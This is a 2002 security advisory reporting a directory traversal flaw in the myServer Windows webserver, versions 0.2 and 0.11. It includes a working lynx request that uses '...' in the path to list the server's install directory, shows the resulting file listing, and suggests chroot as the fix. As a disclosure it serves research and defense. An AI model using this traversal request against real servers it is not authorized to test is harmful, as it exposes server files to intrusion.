
INetCop Security Advisory #2002-0x82-010

- Our 10th advisory does self-congratulation.

* Title: Directory traversing bug in 'myServer' webserver.

0x01. Description

It's very useful Windows webserver that is offered by Binary of C++.

It's run in Microsoft Windows platform fortunately only.

They have plan to export Linux platform firstly at the future.

We saved Linux. :-)

Vulnerability happens because webserver does not filter "../".

Herewith, vulnerability can do exploit.

(Server has died sometimes. yeh~ It's bug!)

0x02. Vulnerable Packages

Vendor site: <http://myserverweb.sourceforge.net/>

myserver 0.2 binaries

-myServerEXEC-0.2.zip

+Windows 95/98/2000

+Windows NT/2000

myserver 0.11 binaries

-myServerEXEC-0.11.zip

0x03. Exploit

See and enjoy this.

```
bash$ lynx -dump http://myServerhost/.../myServerEXEC-0.2 > x82-x0x
bash$ cat x82-x0x
```

Contents of folder .../myServerEXEC-0.2/

File Last modify Size

```
[1]cgi-lib 0/11/102-12:4:16 System time
[2]control.exe 3/11/102-10:48:28 System time 258048 bytes
[3]CVS 0/11/102-12:4:18 System time
[4]languages 0/11/102-12:4:18 System time
[5]libhoard.dll 3/9/102-6:0:0 System time 32843 bytes
[6]logs 0/11/102-12:4:18 System time
[7]MIMEtypes.txt 0/11/102-3:50:42 System time 276 bytes
[8]myserver.exe 3/11/102-10:49:2 System time 200704 bytes
[9]myserver.xml 0/11/102-1:11:46 System time 2238 bytes
[10]readme.txt 0/11/102-9:59:6 System time 1836 bytes
[11]REGISTER SERVICE.bat 3/9/102-6:0:0 System time 20 bytes
[12]START CONSOLE.bat 3/9/102-6:0:0 System time 20 bytes
[13]START SERVICE.bat 3/9/102-6:0:0 System time 17 bytes
[14]STOP SERVICE.bat 3/9/102-6:0:0 System time 16 bytes
[15]system 0/11/102-12:4:18 System time
[16]UNREGISTER SERVICE.bat 3/9/102-6:0:0 System time 22 bytes
[17]web 0/11/102-12:4:18 System time
```

Running on myServer 0.2

References

1. <http://myServerhost/myServerEXEC-0.2/cgi-lib>
2. <http://myServerhost/myServerEXEC-0.2/control.exe>
3. <http://myServerhost/myServerEXEC-0.2/CVS>
4. <http://myServerhost/myServerEXEC-0.2/languages>
5. <http://myServerhost/myServerEXEC-0.2/libhoard.dll>
6. <http://myServerhost/myServerEXEC-0.2/logs>
7. <http://myServerhost/myServerEXEC-0.2/MIMEtypes.txt>
8. <http://myServerhost/myServerEXEC-0.2/myserver.exe>
9. <http://myServerhost/myServerEXEC-0.2/myserver.xml>
10. <http://myServerhost/myServerEXEC-0.2/readme.txt>
11. <http://myServerhost/myServerEXEC-0.2/REGISTERSERVICE.bat>
12. <http://myServerhost/myServerEXEC-0.2/STARTCONSOLE.bat>
13. <http://myServerhost/myServerEXEC-0.2/STARTSERVICE.bat>
14. <http://myServerhost/myServerEXEC-0.2/STOPSERVICE.bat>
15. <http://myServerhost/myServerEXEC-0.2/system>
16. <http://myServerhost/myServerEXEC-0.2/UNREGISTERSERVICE.bat>
17. <http://myServerhost/myServerEXEC-0.2/web>

bash\$

We tested it, in Windows 98/2000 professionals.

0x04. Patch

--

We decided it.

It can solve as chroot() function.

Therefore, we don't compose patch.

Construct safer webserver.

--

P.S: Sorry, for my poor english.

--

By "dong-houn yoU" (Xpl017Elz), in INetCop(c) Security.

MSN & E-mail: [szoahc\(at\)hotmail\(dot\)com](mailto:szoahc@hotmail.com),
[xploit\(at\)hackermail\(dot\)com](mailto:xploit@hackermail.com)

INetCop Security Home: <http://www.inetcop.org/> (Korean hacking game)

My World: <http://x82.i21c.net/>

GPG public key: <http://wizard.underattack.co.kr/~x82/h0me/pr0file/x82.k3y>

--